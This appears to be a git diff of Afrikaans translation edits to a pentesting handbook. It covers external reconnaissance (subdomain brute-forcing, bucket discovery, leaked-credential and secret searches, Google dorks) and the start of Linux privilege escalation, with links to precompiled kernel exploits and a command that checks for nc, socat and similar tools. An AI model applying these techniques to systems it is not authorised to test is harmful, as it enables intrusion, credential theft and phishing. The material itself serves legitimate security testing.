As jy die **dieselfde ID van die dieselfde tracker** op 2 verskillende bladsye vind, kan jy veronderstel dat **albei bladsye** **deur dieselfde span bestuur word**.\
|
||||
Byvoorbeeld, as jy dieselfde **Google Analytics ID** of dieselfde **Adsense ID** op verskeie bladsye sien.
|
||||
|
||||
Daar is 'n paar bladsye en hulpmiddels wat jou toelaat om deur hierdie trackers en meer te soek:
|
||||
@ -172,7 +171,7 @@ Dit is blykbaar algemeen dat mense subdomeine aan IP's toewys wat aan wolkverska
|
||||
|
||||
Soos jy reeds weet, die naam van die organisasie wat die IP-ruimte besit. Jy kan daarna soek in shodan met: `org:"Tesla, Inc."` Kyk na die gevonde gashere vir nuwe onverwagte domeine in die TLS-sertifikaat.
|
||||
|
||||
Jy kan die **TLS-sertifikaat** van die hoofwebblad toegang, die **Organisasienaam** verkry en dan vir daardie naam soek binne die **TLS-sertifikate** van al die webbladsye wat bekend is deur **shodan** met die filter: `ssl:"Tesla Motors"` of gebruik 'n hulpmiddel soos [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
Jy kan die **TLS-sertifikaat** van die hoofwebblad toegang, die **Organisasie naam** verkry en dan vir daardie naam soek binne die **TLS-sertifikate** van al die webbladsye wat bekend is deur **shodan** met die filter: `ssl:"Tesla Motors"` of gebruik 'n hulpmiddel soos [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
@ -185,8 +184,6 @@ Kyk vir 'n paar [domein oornemings](../../pentesting-web/domain-subdomain-takeov
|
||||
As jy enige **domein met 'n IP anders** as diegene wat jy reeds in die batesontdekking gevind het, vind, moet jy 'n **basiese kwesbaarheidsskandering** uitvoer (met Nessus of OpenVAS) en 'n paar [**poortsken**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan**. Afhangende van watter dienste aan die gang is, kan jy in **hierdie boek 'n paar truuks vind om hulle te "aanval"**.\
|
||||
&#xNAN;_Note dat soms die domein gehos is binne 'n IP wat nie deur die kliënt beheer word nie, so dit is nie in die omvang nie, wees versigtig._
|
||||
|
||||
|
||||
|
||||
## Subdomeine
|
||||
|
||||
> Ons weet al die maatskappye binne die omvang, al die bates van elke maatskappy en al die domeine wat aan die maatskappye verband hou.
|
||||
@ -194,11 +191,11 @@ As jy enige **domein met 'n IP anders** as diegene wat jy reeds in die batesontd
|
||||
Dit is tyd om al die moontlike subdomeine van elke gevonde domein te vind.
|
||||
|
||||
> [!TIP]
|
||||
> Let daarop dat sommige van die hulpmiddels en tegnieke om domeine te vind ook kan help om subdomeine te vind
|
||||
> Let daarop dat sommige van die hulpmiddels en tegnieke om domeine te vind ook kan help om subdomeine te vind.
|
||||
|
||||
### **DNS**
|
||||
|
||||
Kom ons probeer om **subdomeine** van die **DNS** rekords te kry. Ons moet ook probeer vir **Zone Oordrag** (As kwesbaar, moet jy dit rapporteer).
|
||||
Kom ons probeer om **subdomeine** van die **DNS** rekords te verkry. Ons moet ook probeer vir **Zone Oordrag** (As kwesbaar, moet jy dit rapporteer).
|
||||
```bash
|
||||
dnsrecon -a -d tesla.com
|
||||
```
|
||||
@ -348,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is 'n wrapper rondom `massdns`, geskryf in go, wat jou toelaat om geldige subdomeine te enumereer deur aktiewe bruteforce, sowel as om subdomeine met wildcard hantering en maklike invoer-uitvoer ondersteuning op te los.
|
||||
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is 'n wrapper rondom `massdns`, geskryf in go, wat jou toelaat om geldige subdomeine te enumereer deur aktiewe bruteforce, sowel as om subdomeine op te los met wildcard hanteering en maklike invoer-uitvoer ondersteuning.
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
@ -368,17 +365,17 @@ Nadat jy subdomeine gevind het met behulp van oop bronne en brute-forcing, kan j
|
||||
```bash
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
- [**goaltdns**](https://github.com/subfinder/goaltdns): Gegewe die domeine en subdomeine genereer permutasies.
|
||||
- [**goaltdns**](https://github.com/subfinder/goaltdns): Gegee die domeine en subdomeine, genereer permutasies.
|
||||
- Jy kan goaltdns permutasies **woordlys** in [**hier**](https://github.com/subfinder/goaltdns/blob/master/words.txt) kry.
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
- [**gotator**](https://github.com/Josue87/gotator)**:** Gegewe die domeine en subdomeine genereer permutasies. As daar nie 'n permutasie-lêer aangedui word nie, sal gotator sy eie een gebruik.
|
||||
- [**gotator**](https://github.com/Josue87/gotator)**:** Gegewe die domeine en subdomeine genereer permutasies. As geen permutasie-lêer aangedui is nie, sal gotator sy eie een gebruik.
|
||||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
- [**altdns**](https://github.com/infosec-au/altdns): Behalwe om subdomein permutasies te genereer, kan dit ook probeer om hulle op te los (maar dit is beter om die vorige genoem gereedskap te gebruik).
|
||||
- Jy kan altdns permutasies **woordlys** kry in [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
||||
- Jy kan altdns permutasies **woordlys** in [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt) kry.
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
@ -406,13 +403,17 @@ echo www | subzuf facebook.com
|
||||
|
||||
Kyk na hierdie blogpos wat ek geskryf het oor hoe om die **subdomein ontdekking** van 'n domein te **automate** met behulp van **Trickest werkvloei** sodat ek nie 'n klomp gereedskap handmatig op my rekenaar hoef te begin nie:
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
|
||||
{{#ref}}
|
||||
https://trickest.com/blog/full-subdomain-discovery-using-workflow/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %}
|
||||
{{#ref}}
|
||||
https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
|
||||
{{#endref}}
|
||||
|
||||
### **VHosts / Virtuele Gashere**
|
||||
|
||||
As jy 'n IP-adres gevind het wat **een of verskeie webbladsye** bevat wat aan subdomeine behoort, kan jy probeer om **ander subdomeine met webbladsye in daardie IP** te vind deur in **OSINT bronne** te kyk vir domeine in 'n IP of deur **brute-force VHost domeinnaam in daardie IP**.
|
||||
As jy 'n IP-adres gevind het wat **een of verskeie webbladsye** bevat wat aan subdomeine behoort, kan jy probeer om **ander subdomeine met webbladsye in daardie IP** te **vind** deur in **OSINT bronne** te kyk vir domeine in 'n IP of deur **brute-force VHost domeinnaam in daardie IP**.
|
||||
|
||||
#### OSINT
|
||||
|
||||
@ -435,7 +436,7 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
|
||||
VHostScan -t example.com
|
||||
```
|
||||
> [!NOTE]
|
||||
> Met hierdie tegniek kan jy dalk selfs toegang verkry tot interne/verborgene eindpunte.
|
||||
> Met hierdie tegniek mag jy selfs toegang hê tot interne/verborgene eindpunte.
|
||||
|
||||
### **CORS Brute Force**
|
||||
|
||||
@ -446,26 +447,26 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
||||
### **Buckets Brute Force**
|
||||
|
||||
Terwyl jy na **subdomeine** soek, hou 'n oog op of dit na enige tipe **emmer** **wys**, en in daardie geval [**kontroleer die toestemmings**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Ook, aangesien jy op hierdie punt al die domeine binne die omvang sal weet, probeer om [**brute force moontlike emmername en kontroleer die toestemmings**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
Ook, aangesien jy op hierdie punt al die domeine binne die omvang sal ken, probeer om [**brute force moontlike emmername en kontroleer die toestemmings**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
### **Monitorisering**
|
||||
|
||||
Jy kan **moniteer** of **nuwe subdomeine** van 'n domein geskep word deur die **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) te monitor.
|
||||
Jy kan **monitor** of **nuwe subdomeine** van 'n domein geskep word deur die **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) te monitor.
|
||||
|
||||
### **Soek na kwesbaarhede**
|
||||
|
||||
Kontroleer vir moontlike [**subdomein oorneem**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
As die **subdomein** na 'n **S3-emmer** **wys**, [**kontroleer die toestemmings**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
As jy enige **subdomein met 'n IP anders** as diegene wat jy reeds in die batesontdekking gevind het, vind, moet jy 'n **basiese kwesbaarheidsskandering** (met Nessus of OpenVAS) en 'n [**poortskaande**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan** uitvoer. Afhangende van watter dienste aan die gang is, kan jy in **hierdie boek 'n paar truuks vind om hulle te "aanval"**.\
|
||||
&#xNAN;_Note dat soms die subdomein gehos is binne 'n IP wat nie deur die kliënt beheer word nie, so dit is nie in die omvang nie, wees versigtig._
|
||||
As jy enige **subdomein met 'n IP verskil** van diegene wat jy reeds in die batesontdekking gevind het, moet jy 'n **basiese kwesbaarheidsskandering** (met Nessus of OpenVAS) en 'n [**poortskaande**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan** uitvoer. Afhangende van watter dienste aan die gang is, kan jy in **hierdie boek 'n paar truuks vind om hulle te "aanval"**.\
|
||||
&#xNAN;_Nlet daarop dat die subdomein soms gehos is binne 'n IP wat nie deur die kliënt beheer word nie, so dit is nie in die omvang nie, wees versigtig._
|
||||
|
||||
## IPs
|
||||
|
||||
In die aanvanklike stappe het jy dalk **sommige IP-reekse, domeine en subdomeine** **gevind**.\
|
||||
In die aanvanklike stappe mag jy **sommige IP-reekse, domeine en subdomeine** **gevind het**.\
|
||||
Dit is tyd om **al die IPs van daardie reekse te versamel** en vir die **domeine/subdomeine (DNS-vrae).**
|
||||
|
||||
Deur dienste van die volgende **gratis apis** te gebruik, kan jy ook **vorige IPs wat deur domeine en subdomeine gebruik is, vind**. Hierdie IPs mag steeds deur die kliënt besit word (en mag jou toelaat om [**CloudFlare omseilings**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) te vind)
|
||||
Deur dienste van die volgende **gratis API's** te gebruik, kan jy ook **vorige IPs wat deur domeine en subdomeine gebruik is, vind**. Hierdie IPs mag steeds deur die kliënt besit word (en mag jou toelaat om [**CloudFlare omseilings**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) te vind)
|
||||
|
||||
- [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
@ -481,23 +482,23 @@ Jy kan ook kyk vir domeine wat na 'n spesifieke IP-adres wys met die hulpmiddel
|
||||
|
||||
> Ons het al die maatskappye en hul bates gevind en ons weet IP-reekse, domeine en subdomeine binne die omvang. Dit is tyd om na webbedieners te soek.
|
||||
|
||||
In die vorige stappe het jy waarskynlik al 'n paar **recon van die IPs en domeine ontdek** uitgevoer, so jy mag **al die moontlike webbedieners** **gevind het**. As jy egter nie, gaan ons nou 'n paar **vinnige truuks kyk om webbedieners** binne die omvang te soek.
|
||||
In die vorige stappe het jy waarskynlik al 'n paar **recon van die IPs en domeine ontdek** gedoen, so jy mag **al die moontlike webbedieners** **gevind het**. As jy egter nie, gaan ons nou 'n paar **vinnige truuks kyk om webbedieners** binne die omvang te soek.
|
||||
|
||||
Neem asseblief kennis dat dit **georiënteer sal wees op webtoepassingsontdekking**, so jy moet ook **die kwesbaarheid** en **poortskaande** uitvoer (**indien toegelaat** deur die omvang).
|
||||
Let asseblief daarop dat dit **georiënteer sal wees op webtoepassingsontdekking**, so jy moet ook **die kwesbaarheid** en **poortskaande** uitvoer (**as toegelaat** deur die omvang).
|
||||
|
||||
'n **Vinnige metode** om **oop poorte** wat verband hou met **web** bedieners te ontdek, gebruik [**masscan** kan hier gevind word](../pentesting-network/#http-port-discovery).\
|
||||
Nog 'n vriendelike hulpmiddel om na webbedieners te soek is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) en [**httpx**](https://github.com/projectdiscovery/httpx). Jy gee net 'n lys van domeine en dit sal probeer om met poort 80 (http) en 443 (https) te verbind. Daarbenewens kan jy aandui om ander poorte te probeer:
|
||||
'n **Vinnige metode** om **oop poorte** wat verband hou met **web** bedieners te ontdek, kan met [**masscan** hier gevind word](../pentesting-network/#http-port-discovery).\
|
||||
Nog 'n vriendelike hulpmiddel om na webbedieners te soek is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) en [**httpx**](https://github.com/projectdiscovery/httpx). Jy gee net 'n lys van domeine en dit sal probeer om met poort 80 (http) en 443 (https) te verbind. Boonop kan jy aandui om ander poorte te probeer:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
```
|
||||
### **Skermskoots**
|
||||
### **Skermskoot**
|
||||
|
||||
Nou dat jy **alle webbedieners** in die omvang ontdek het (tussen die **IP's** van die maatskappy en al die **domeine** en **subdomeine**) weet jy waarskynlik **nie waar om te begin nie**. Laat ons dit eenvoudig maak en begin net deur skermskoots van al hulle te neem. Net deur **na die hoofblad** te **kyk**, kan jy **vreemde** eindpunte vind wat meer **geneig** is om **kwulnerabel** te wees.
|
||||
Nou dat jy **alle webbedieners** in die omvang ontdek het (tussen die **IP's** van die maatskappy en al die **domeine** en **subdomeine**) weet jy waarskynlik **nie waar om te begin nie**. Kom ons maak dit eenvoudig en begin net met die neem van skermskote van al hulle. Net deur **na die hoofblad** te **kyk** kan jy **vreemde** eindpunte vind wat meer **geneig** is om **kwulnerabel** te wees.
|
||||
|
||||
Om die voorgestelde idee uit te voer, kan jy [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) of [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** gebruik.**
|
||||
Om die voorgestelde idee uit te voer, kan jy [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) of [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
|
||||
Boonop kan jy dan [**eyeballer**](https://github.com/BishopFox/eyeballer) gebruik om oor al die **skermskoots** te loop om jou te vertel **wat waarskynlik kwulnerabelhede bevat**, en wat nie.
|
||||
Boonop kan jy dan [**eyeballer**](https://github.com/BishopFox/eyeballer) gebruik om oor al die **skermskote** te loop om vir jou te sê **wat waarskynlik kwesbaarhede bevat**, en wat nie.
|
||||
|
||||
## Publieke Wolk Bate
|
||||
|
||||
@ -511,11 +512,11 @@ Jy sal ook woordlyste van **gewone woorde wat in emmers gebruik word** benodig:
|
||||
|
||||
Dan, met daardie woorde moet jy **permutasies** genereer (kyk na die [**Tweede Ronde DNS Brute-Force**](./#second-dns-bruteforce-round) vir meer inligting).
|
||||
|
||||
Met die resulterende woordlyste kan jy gereedskap soos [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **of** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gebruik.**
|
||||
Met die resulterende woordlyste kan jy gereedskap soos [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **of** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||
|
||||
Onthou dat wanneer jy na Wolk Bates soek, jy moet **kyk na meer as net emmers in AWS**.
|
||||
|
||||
### **Soek na kwulnerabelhede**
|
||||
### **Soek na kwesbaarhede**
|
||||
|
||||
As jy dinge soos **oop emmers of blootgestelde wolk funksies** vind, moet jy **hulle toegang** en probeer om te sien wat hulle jou bied en of jy hulle kan misbruik.
|
||||
|
||||
@ -528,9 +529,9 @@ Met die **domeine** en **subdomeine** binne die omvang het jy basies alles wat j
|
||||
- API van [**https://app.snov.io/**](https://app.snov.io/) (gratis weergawe)
|
||||
- API van [**https://minelead.io/**](https://minelead.io/) (gratis weergawe)
|
||||
|
||||
### **Soek na kwulnerabelhede**
|
||||
### **Soek na kwesbaarhede**
|
||||
|
||||
E-posse sal later handig te pas kom om **brute-force web aanmeldings en auth dienste** (soos SSH) te doen. Ook, hulle is nodig vir **phishings**. Boonop sal hierdie API's jou selfs meer **inligting oor die persoon** agter die e-pos gee, wat nuttig is vir die phishing veldtog.
|
||||
E-posse sal later handig te pas kom om **brute-force web aanmeldings en outentikasiedienste** (soos SSH) te doen. Ook, hulle is nodig vir **phishings**. Boonop sal hierdie API's jou selfs meer **inligting oor die persoon** agter die e-pos gee, wat nuttig is vir die phishing veldtog.
|
||||
|
||||
## Kredensiaal Leke
|
||||
|
||||
@ -539,24 +540,24 @@ Met die **domeine,** **subdomeine**, en **e-posse** kan jy begin soek na kredens
|
||||
- [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
- [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
|
||||
### **Soek na kwulnerabelhede**
|
||||
### **Soek na kwesbaarhede**
|
||||
|
||||
As jy **geldige gelekte** kredensiale vind, is dit 'n baie maklike oorwinning.
|
||||
|
||||
## Geheime Leke
|
||||
|
||||
Kredensiaal leke is verwant aan hacks van maatskappye waar **sensitiewe inligting gelek en verkoop is**. egter, maatskappye mag geraak word deur **ander leke** waarvan die inligting nie in daardie databasisse is nie:
|
||||
Kredensiaal leke is verwant aan hacks van maatskappye waar **sensitiewe inligting gelek en verkoop** is. egter, maatskappye mag geraak word deur **ander leke** waarvan die inligting nie in daardie databasisse is nie:
|
||||
|
||||
### Github Leke
|
||||
|
||||
Kredensiale en API's mag in die **openbare repositories** van die **maatskappy** of van die **gebruikers** wat vir daardie github maatskappy werk, gelek word.\
|
||||
Jy kan die **gereedskap** [**Leakos**](https://github.com/carlospolop/Leakos) gebruik om **alle openbare repos** van 'n **organisasie** en sy **ontwikkelaars** te **aflaai** en [**gitleaks**](https://github.com/zricethezav/gitleaks) daaroor outomaties te laat loop.
|
||||
Jy kan die **gereedskap** [**Leakos**](https://github.com/carlospolop/Leakos) gebruik om **alle openbare repos** van 'n **organisasie** en sy **ontwikkelaars** af te laai en [**gitleaks**](https://github.com/zricethezav/gitleaks) daaroor outomaties te laat loop.
|
||||
|
||||
**Leakos** kan ook gebruik word om **gitleaks** teen alle **teks** te laat loop wat **URL's wat aan dit gegee is** as soms **web bladsye ook geheime bevat**.
|
||||
**Leakos** kan ook gebruik word om **gitleaks** teen al die **teks** te laat loop wat **URL's wat aan dit gegee is** as soms **webbladsye ook geheime bevat**.
|
||||
|
||||
#### Github Dorks
|
||||
|
||||
Kyk ook na hierdie **bladsy** vir potensiële **github dorks** wat jy ook in die organisasie wat jy aanval kan soek:
|
||||
Kyk ook na hierdie **bladsy** vir potensiële **github dorks** wat jy ook in die organisasie wat jy aanval, kan soek:
|
||||
|
||||
{{#ref}}
|
||||
github-leaked-secrets.md
|
||||
@ -569,17 +570,17 @@ Jy kan die gereedskap [**Pastos**](https://github.com/carlospolop/Pastos) gebrui
|
||||
|
||||
### Google Dorks
|
||||
|
||||
Ou maar goud google dorks is altyd nuttig om **blootgestelde inligting wat daar nie behoort te wees nie** te vind. Die enigste probleem is dat die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) verskeie **duisende** moontlike navrae bevat wat jy nie handmatig kan uitvoer nie. So, jy kan jou gunsteling 10 kies of jy kan 'n **gereedskap soos** [**Gorks**](https://github.com/carlospolop/Gorks) **gebruik om hulle almal uit te voer**.
|
||||
Ou maar goud google dorks is altyd nuttig om **blootgestelde inligting wat daar nie moet wees nie** te vind. Die enigste probleem is dat die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) verskeie **duisende** moontlike navrae bevat wat jy nie handmatig kan uitvoer nie. So, jy kan jou gunsteling 10 kies of jy kan 'n **gereedskap soos** [**Gorks**](https://github.com/carlospolop/Gorks) **gebruik om hulle almal uit te voer**.
|
||||
|
||||
_Noteer dat die gereedskap wat verwag om die hele databasis met die gewone Google-blaaier te laat loop, nooit sal eindig nie, aangesien google jou baie gou sal blokkeer._
|
||||
_Noteer dat die gereedskap wat verwag om die hele databasis met die gewone Google-blaaier te laat loop, nooit sal eindig nie, aangesien google jou baie, baie gou sal blokkeer._
|
||||
|
||||
### **Soek na kwulnerabelhede**
|
||||
### **Soek na kwesbaarhede**
|
||||
|
||||
As jy **geldige gelekte** kredensiale of API tokens vind, is dit 'n baie maklike oorwinning.
|
||||
|
||||
## Publieke Kode Kwulnerabelhede
|
||||
## Publieke Kode Kwesbaarhede
|
||||
|
||||
As jy gevind het dat die maatskappy **open-source kode** het, kan jy dit **analiseer** en soek na **kwulnerabelhede** daarin.
|
||||
As jy gevind het dat die maatskappy **open-source kode** het, kan jy dit **analiseer** en soek na **kwesbaarhede** daarin.
|
||||
|
||||
**Afhangende van die taal** is daar verskillende **gereedskap** wat jy kan gebruik:
|
||||
|
||||
@ -593,9 +594,9 @@ Daar is ook gratis dienste wat jou toelaat om **openbare repositories** te **ska
|
||||
|
||||
## [**Pentesting Web Metodologie**](../../network-services-pentesting/pentesting-web/)
|
||||
|
||||
Die **meerderheid van die kwulnerabelhede** wat deur foutjagters gevind word, is binne **webtoepassings**, so op hierdie punt wil ek graag oor 'n **webtoepassing toets metodologie** praat, en jy kan [**hierdie inligting hier vind**](../../network-services-pentesting/pentesting-web/).
|
||||
Die **meerderheid van die kwesbaarhede** wat deur foutjagters gevind word, is binne **webtoepassings**, so op hierdie punt wil ek oor 'n **webtoepassing toetsing metodologie** praat, en jy kan [**hierdie inligting hier vind**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde Skandeerders open source gereedskap**](../../network-services-pentesting/pentesting-web/#automatic-scanners), aangesien, as jy nie moet verwag dat hulle baie sensitiewe kwulnerabelhede sal vind nie, hulle handig te pas kom om dit in **werkvloei te implementeer om 'n paar aanvanklike webinligting te hê.**
|
||||
Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde Skandeerders open source gereedskap**](../../network-services-pentesting/pentesting-web/#automatic-scanners), aangesien, as jy nie moet verwag dat hulle baie sensitiewe kwesbaarhede sal vind nie, hulle handig te pas kom om dit in **werkvloei te implementeer om 'n paar aanvanklike webinligting te hê.**
|
||||
|
||||
## Herhaling
|
||||
|
||||
|
@ -14,7 +14,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems
|
||||
```
|
||||
### Pad
|
||||
|
||||
As jy **skryfreëls op enige gids binne die `PATH`** veranderlike het, mag jy in staat wees om sommige biblioteke of binêre te kap.
|
||||
As jy **skryfreëls op enige gids binne die `PATH`** verander, mag jy in staat wees om sommige biblioteke of binêre te kap.
|
||||
```bash
|
||||
echo $PATH
|
||||
```
|
||||
@ -26,20 +26,20 @@ Interessante inligting, wagwoorde of API sleutels in die omgewingsveranderlikes?
|
||||
```
|
||||
### Kernel exploits
|
||||
|
||||
Kontroleer die kern weergawe en of daar 'n eksploits is wat gebruik kan word om voorregte te verhoog
|
||||
Kontroleer die kernel weergawe en of daar 'n eksploits is wat gebruik kan word om voorregte te verhoog
|
||||
```bash
|
||||
cat /proc/version
|
||||
uname -a
|
||||
searchsploit "Linux Kernel"
|
||||
```
|
||||
U kan 'n goeie kwesbare kernlys en sommige reeds **gecompileerde exploits** hier vind: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) en [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\
|
||||
Ander webwerwe waar u 'n paar **gecompileerde exploits** kan vind: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
|
||||
Jy kan 'n goeie lys van kwesbare kernel en sommige reeds **gecompileerde exploits** hier vind: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) en [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\
|
||||
Ander webwerwe waar jy 'n paar **gecompileerde exploits** kan vind: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
|
||||
|
||||
Om al die kwesbare kernweergawe van daardie web te onttrek, kan u doen:
|
||||
Om al die kwesbare kernel weergawes van daardie web te onttrek, kan jy doen:
|
||||
```bash
|
||||
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
|
||||
```
|
||||
Tools wat kan help om vir kernel exploits te soek is:
|
||||
Gereedskap wat kan help om vir kernel exploits te soek, is:
|
||||
|
||||
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
|
||||
@ -79,7 +79,7 @@ Kyk na **smasher2 box of HTB** vir 'n **voorbeeld** van hoe hierdie kwesbaarheid
|
||||
```bash
|
||||
dmesg 2>/dev/null | grep "signature"
|
||||
```
|
||||
### Meer stelselenumerasie
|
||||
### Meer stelselening
|
||||
```bash
|
||||
date 2>/dev/null #Date
|
||||
(df -h || lsblk) #System stats
|
||||
@ -121,7 +121,7 @@ fi
|
||||
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
|
||||
#If 0, not enabled
|
||||
```
|
||||
## Docker Breekuit
|
||||
## Docker Breakout
|
||||
|
||||
As jy binne 'n docker-container is, kan jy probeer om daaruit te ontsnap:
|
||||
|
||||
@ -129,9 +129,9 @@ As jy binne 'n docker-container is, kan jy probeer om daaruit te ontsnap:
|
||||
docker-security/
|
||||
{{#endref}}
|
||||
|
||||
## Skywe
|
||||
## Drives
|
||||
|
||||
Kontroleer **wat gemonteer en ongemonteer is**, waar en hoekom. As iets ongemonteer is, kan jy probeer om dit te monteer en na private inligting te kyk.
|
||||
Kontroleer **wat gemonteer en nie-gemonteer is**, waar en hoekom. As iets nie-gemonteer is nie, kan jy probeer om dit te monteer en na private inligting te kyk.
|
||||
```bash
|
||||
ls /dev 2>/dev/null | grep -i "sd"
|
||||
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
|
||||
@ -144,7 +144,7 @@ Lys nuttige binaire lêers
|
||||
```bash
|
||||
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
|
||||
```
|
||||
Kontroleer ook of **enige kompilator geïnstalleer is**. Dit is nuttig as jy 'n kernuitbuiting moet gebruik, aangesien dit aanbeveel word om dit op die masjien te compileer waar jy dit gaan gebruik (of op een soortgelyke).
|
||||
Kontroleer ook of **enige kompilator geïnstalleer is**. Dit is nuttig as jy 'n kern-ontploffing moet gebruik, aangesien dit aanbeveel word om dit op die masjien te compileer waar jy dit gaan gebruik (of op een soortgelyke).
|
||||
```bash
|
||||
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
|
||||
```
|
||||
@ -158,7 +158,7 @@ rpm -qa #Centos
|
||||
```
|
||||
As jy SSH-toegang tot die masjien het, kan jy ook **openVAS** gebruik om te kyk vir verouderde en kwesbare sagteware wat op die masjien geïnstalleer is.
|
||||
|
||||
> [!NOTE] > _Let daarop dat hierdie opdragte 'n baie inligting sal toon wat meestal nutteloos sal wees, daarom word dit aanbeveel om sommige toepassings soos OpenVAS of soortgelyk te gebruik wat sal kyk of enige geïnstalleerde sagteware weergawe kwesbaar is vir bekende exploits_
|
||||
> [!NOTE] > _Let daarop dat hierdie opdragte 'n baie inligting sal toon wat meestal nutteloos sal wees, daarom word dit aanbeveel om sommige toepassings soos OpenVAS of soortgelyk te gebruik wat sal kyk of enige geïnstalleerde sagteware weergawe kwesbaar is vir bekende ontploffings_
|
||||
|
||||
